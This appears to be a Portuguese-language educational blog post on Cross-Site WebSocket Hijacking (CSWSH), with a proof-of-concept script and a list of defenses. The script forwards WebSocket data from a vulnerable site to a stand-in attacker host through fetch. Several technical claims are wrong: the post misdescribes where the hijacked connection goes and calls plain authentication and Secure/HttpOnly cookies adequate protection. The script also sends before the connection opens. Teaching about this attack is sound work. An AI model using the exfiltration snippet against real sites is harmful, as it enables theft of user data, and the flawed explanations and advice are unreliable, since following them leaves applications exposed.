Voltar ao início

Explorando a vulnerabilidade Cross-Site WebSocket Hijacking (CSWSH)

O que é WebSocket?

O WebSocket é um protocolo de comunicação bidirecional que permite a interação entre um navegador web e um servidor web em tempo real. Ele oferece uma maneira rápida e eficiente de enviar e receber dados entre o cliente e o servidor, o que o torna ideal para aplicações web em tempo real, como jogos online e bate-papo.

No entanto, o WebSocket também é vulnerável a ataques de Cross-Site WebSocket Hijacking (CSWSH), uma técnica em que um atacante mal-intencionado sequestra a conexão WebSocket de um usuário para obter acesso não autorizado a informações confidenciais.

Como funciona o CSWSH?

O ataque CSWSH começa com um atacante mal-intencionado enganando um usuário para visitar um site controlado pelo atacante. O site pode ser projetado para se parecer com um site legítimo, como uma rede social ou um site de compras online.

Quando o usuário visita o site controlado pelo atacante, o código malicioso é executado no navegador do usuário e inicia uma conexão WebSocket com o servidor do atacante. Como o WebSocket não exige autenticação para iniciar uma conexão, o atacante pode facilmente sequestrar a conexão do usuário.

Uma vez que o atacante tenha sequestrado a conexão do usuário, ele pode enviar comandos maliciosos para o servidor usando a conexão WebSocket. Isso permite que o atacante acesse informações confidenciais, como cookies, credenciais de login e outros dados do usuário.

Exemplo de exploit hospedado no servidor de um atacante, que captura os dados recebidos do WebSocket para o atacante:

<script>
  ws = new WebSocket('wss://site-vulneravel.com/messages');
  ws.onopen = function start(event) {
    ws.send("OLÁ, HACKADEMY");
  }
  ws.onmessage = function handleReply(event) {
    fetch('https://site-atacante.com/?'+event.data, {mode: 'no-cors'});
  }
  ws.send("Algum texto enviado para o servidor");
</script>

Como se proteger contra o CSWSH?

Existem várias maneiras de se proteger contra ataques de CSWSH. Aqui estão algumas práticas recomendadas para manter seus usuários seguros:

  • Use autenticação de usuário para conectar o WebSocket – A autenticação do usuário é uma das maneiras mais eficazes de evitar ataques de CSWSH. Exigir que o usuário faça login antes de estabelecer uma conexão WebSocket pode impedir que um atacante mal-intencionado sequestre a conexão.
  • Use cookies seguros – Usar cookies seguros pode ajudar a proteger os usuários contra ataques de CSWSH. Os cookies seguros são cookies que só podem ser enviados por HTTPS e não podem ser acessados por scripts JavaScript. Isso impede que um atacante mal-intencionado acesse as informações do cookie do usuário.
  • Use o cabeçalho “Origin” – O cabeçalho “Origin” é um cabeçalho HTTP que é usado para indicar a origem de uma solicitação. O uso do cabeçalho “Origin” pode ajudar a proteger contra ataques de CSWSH, pois o servidor pode verificar se a solicitação vem de um site confiável.

Espero que tenham gostado, até a próxima 😀